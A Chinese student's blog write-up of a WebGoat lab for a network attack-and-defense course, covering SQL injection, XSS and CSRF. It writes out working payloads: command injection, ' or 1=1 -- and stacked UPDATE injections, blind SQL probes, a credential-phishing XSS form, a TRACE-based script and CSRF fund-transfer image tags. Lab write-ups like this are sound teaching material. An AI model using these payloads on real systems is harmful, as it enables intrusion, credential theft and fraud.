20145224陈颢文 《网络攻防》Web安全基础实践

基础问题回答

SQL注入攻击原理,如何防御:

  • 部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数据输入区恶意填入脚本,当数据被传回后台,黑客所填入的脚本语句被运行,使得黑客可以随心所欲的对后台熟即可进行操作;
  • 程序员在编写代码的时候,一定要记得对用户输入数据的合法性进行判断。将存有敏感信息的数据库放在防火墙内部;

    XSS攻击的原理,如何防御:

  • XSS的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏;
  • 程序员应该防止下发界面显示html标签,把</>等符号转义。

CSRF攻击原理,如何防御:

  • 即跨站请求伪造(Cross Site Repuest Forgery),是XSS的一个分支。跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:<img src="http://www.mybank.com/sendFunds.do?acctld=123456"/>当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.comtransferFunds.do页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。

实验总结与体会

穷则变、变则通、通则久;做攻击就是这样的,方法无非就那么几个,我们要做的是变着法子去运用这些方法来达到攻击目的。

实践过程记录

启动WebGoat

  • 在终端使用指令java -jar webgoat-container-7.0.1-war-exec.jar,等待其显示信息: Starting ProtocolHandler ["http-bio-8080"];
  • 打开浏览器,访问localhost:8080/WebGoat,登陆即可开始答题。

启动BurpSuite

  • 在桌面左边的快捷栏找到,打开他,一直next就好;
  • Proxy->Options,点击Add,自行配置一个端口号,配好以后记得要勾选刚刚配好的那一条记录:
  • 打开浏览器的设置页,Advanced->Network->Settings
  • 按照下图进行设置:
  • 若需要将网页拦截下来的时候先点击intercept把他打开:

Injection Flaws

  • Command Injection:命令注入,要求能够在目标主机上执行任意系统命令即可;
    首先我们需要确定进行注入的位置,网页中并没有文本框,只有一个下拉的选项栏,所以我们只能修改这个下拉栏的值。有两种方式可以修改,可以使用BurpSuite拦截再修改,也可以直接修改页面源代码;BurpSuite方法再周岐浩的博客里说的比较详细了,这里我就交大家使用修改页面代码的方法:
    使用组合键Shift+Ctrl+C查看页面源代码,鼠标单击下拉选项栏,这时候会自动的帮你定位到相应的代码段,找到其中一个选项,右键鼠标Edit As HTML,这时候你就可以编辑它啦;



    直接在选项后加上"&&ifconfig"即可,然后回到网页,找到刚刚修改过的选项,提交!
  • Numeric SQL Injection:数字型SQL注入,要求通过注入SQL字符串的方式查看所有的天气数据;
    这个和上一个实验很像,同样是得修改下拉栏,方法就不再赘述,在Value后加上or 1 = 1 --即可;
  • Log Spoofing:日志欺骗,要求使用户名为“admin”的用户在日志中显示“成功登录”(实际上并没有成功);
    这个实验主要是为了欺骗人眼,由于页面会将输入的用户名返回,所以我们可以在用户名上动手脚,输入用户名%0d%0aLogin Succeeded for username: admin
    其中%0a%0d是ASCII码的回车换行的意思,效果如下图:
  • String SQL Injection:字符串注入,要求通过SQL注入将所有信用卡信息显示出来;
    有文本框的题相对来说都比较轻松,输入' or 1 = 1 --即可;
  • LAB SQL Injection【SQL注入实验】:
    ①String SQL Injection:字符串型注入,要求使用SQL注入绕过认证,实现无密码登陆;
    先在密码栏输入' or 1 = 1 --试试,发现根本输不了这么长,我们看看他的源代码,原来最长只能输入8位,那就改呗,把长度限定改为15,把文本框格式改为text!
    ②本节课程只能在WebGoat开发版本上完成。跳过!
    ③Numeric SQL Injection:数字型注入,要求使用一个普通员工的账户,浏览其BOSS的账户信息;
    首先通过Larry的账户登陆(密码为larry),我们先试着把Value的值改为Boss的对应值112,无果。又试着修改为112 or 1= 1,这次成功了输出信息,但是还是Larry的信息,我猜这里应该是将最首位的信息输出。那么这次我们可以对信息进行排序让他排在首位。用社会工程学解释老板应该是工资最高的,所以为了把老板排到第一个SQL注入排序如下112 or 1=1 order by salary desc
    ④本节课程只能在WebGoat开发版本上完成。跳过!
  • Database Backdoors:数据库后门,要求使用SQL注入修改员工工资;
    如果熟悉SQL语句的话可以指定,修改信息用update语句,具体注入语句为:101 or 1=1; update employee set salary=100000
  • Blind Numeric SQL Injection:数字型盲注入,要求找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值;
    盲注入的话真的很烦心,就是不停利用101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') >(或者<) 100 );来猜测,利用折半查找的思想,我们最终确定答案为2364
  • Blind String SQL Injection:字符串型盲注入,要求找到pins表中cc_number字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar;
    这和上一题思路一样,构造语句猜呗,只不过是猜ASCII的值罢了,答案是Jill;
    每道题我都给大家翻译好啦,大家可以先自己试着去做,其实都不太难~

Cross-Site Scripting (XSS)

  • Phishing with XSS:XSS钓鱼,要求创建一个表单,诱骗访问者输入用户名密码,并将表单提交到http://localhost:8080/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE
    以下是代码示例:
</form><script>function hack(){XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR><H3>This feature requires account login:</H2>
<br>
<br>
Enter Username:
<br>
<input type="text" name="user">
<br>
Enter Password:
<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>

效果如下:

  • Stored XSS Attacks:存储型XSS攻击,要求在信件中写入一个网页或弹窗;
    那就加个弹窗呗<SCRIPT>alert('Hi,5224!');</SCRIPT>
  • Reflected XSS Attacks:反射型XSS攻击,要求得到脚本访问信用卡表单字段;
    示例代码如下:
<script type="text/javascript">
if ( navigator.appName.indexOf("Microsoft") !=-1){
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "./", false);
xmlHttp.send();str1=xmlHttp.responseText;
while (str1.indexOf("\n") > -1) str1 = str1.replace("\n","<br>");
document.write(str1);}
</script>");
  • Cross Site Repuest Forgery:跨站请求伪造,要求将跳转到指定网页的指令隐藏在图片中,将这图片放在邮件里发布;
    伪造一个图片呗:<img src='attack?Screen=310&menu=900&transferFunds=5000'>
  • CSRF Prompt By-Pass:绕过CSRF确认,要求制作两张图片,第一个请求用户资金转账,第二个用于自动处理第一个请求所触发的确认,原理同上一个实验;
    第一张图片和上一题一样;
    第二图为:<img src='attack?Screen=284&menu=900&transferFunds=CONFIRM'>
  • CSRF Token By-Pass :绕过CSRF Token,用脚本来获取令牌:
    这我也不会啊,再研究研究吧

转载于:https://www.cnblogs.com/20145224kevs/p/6826084.html

《网络攻防》Web安全基础实践相关推荐

  1. 20145227鄢曼君《网络对抗》Web安全基础实践

    20145227鄢曼君<网络对抗>Web安全基础实践 实验后回答问题 1.SQL注入攻击原理,如何防御? SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是 ...

  2. 20155202《网络对抗》Exp9 web安全基础实践

    20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...

  3. 20145325张梓靖 《网络对抗技术》 Web安全基础实践

    20145325张梓靖 <网络对抗技术> Web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Ref ...

  4. 20145239杜文超《网络对抗》- Web安全基础实践

    20145239杜文超<网络对抗>- Web安全基础实践 基础问题回答 (1)SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  5. 20145209刘一阳《网络对抗》Exp9 Web安全基础实践

    20145209刘一阳<网络对抗>Exp9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求 ...

  6. Exp9 Web安全基础实践 20164323段钊阳

    网络对抗技术 20164323 Exp9 Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 原理:通过在用户名.密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭 ...

  7. 《网络攻防》 MSF基础应用

    20145224陈颢文 <网络攻防>MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode: exploit:攻击手段,是能使攻击武器(payloa ...

  8. EXP9 web安全基础实践

    <网络对抗>Exp9 Web安全基础实践 WXP2 后门原理 一.基础问题回答 1.SQL注入原理,如何防御 SQL注入原理: 就是通过把SQL命令插入到"Web表单递交&quo ...

  9. 20145204张亚军——web安全基础实践

    web安全基础实践 实验后回答问题 1.SQL注入原理,如何防御 SQL注入:就是通过把SQL命令插入到"Web表单递交"或"输入域名"或"页面请求& ...

最新文章

  1. 2021年大数据Kafka(十一):❤️Kafka的消费者负载均衡机制和数据积压问题❤️
  2. 调用startActivityForResult后直接调用onActivityResult
  3. 《JavaScript设计模式与开发实践》读书笔记之观察者模式
  4. word中的表格空白部分整不掉,下面的表格拉不上来
  5. java jquery easyui_java中用jquery-easyui插件做可编辑datagird列表
  6. 遇到的JAVA笔试题
  7. 现代电力系统分析[简答】
  8. 空间机器人建模与仿真报告
  9. WebService实例
  10. 网络通永久免费内网端口映射
  11. 索尼Z2强刷固件教程
  12. Windows XP 系统下使用宽带上网真方便
  13. 秒速五厘米(为情怀而补的题)
  14. JS setTimeout和setInterval的区别
  15. linux文件权限的例子,Linux基础教程之linux文件权限深度解读
  16. SAP MDG —— 接口技术:数据分发和读取 (BP)
  17. 如何用latex排版要求LNCS模板的论文
  18. python (2) 字典
  19. opengl es3.0学习篇七:使用opengl绘制一个立方体
  20. 关于ACM,关于CSU

热门文章

  1. java弹窗设置为不可关闭_javascript实现无法关闭的弹框
  2. 读书笔记---货币战争
  3. java 创建 777 权限的目录
  4. 雷电2接口_了解这些常用接口一定会有用的
  5. 人大金仓V8R6 for RHEL7.6
  6. C# 实现 简体<--->繁体 的互相转换
  7. STM32 SWD 只能下载一次的问题
  8. 创新创业大赛计算机,计算机学院第六届创新创业大赛圆满结束
  9. Django+sqlite开发简易记账本
  10. Salesforce收购Slack背后的原因,你知道多少?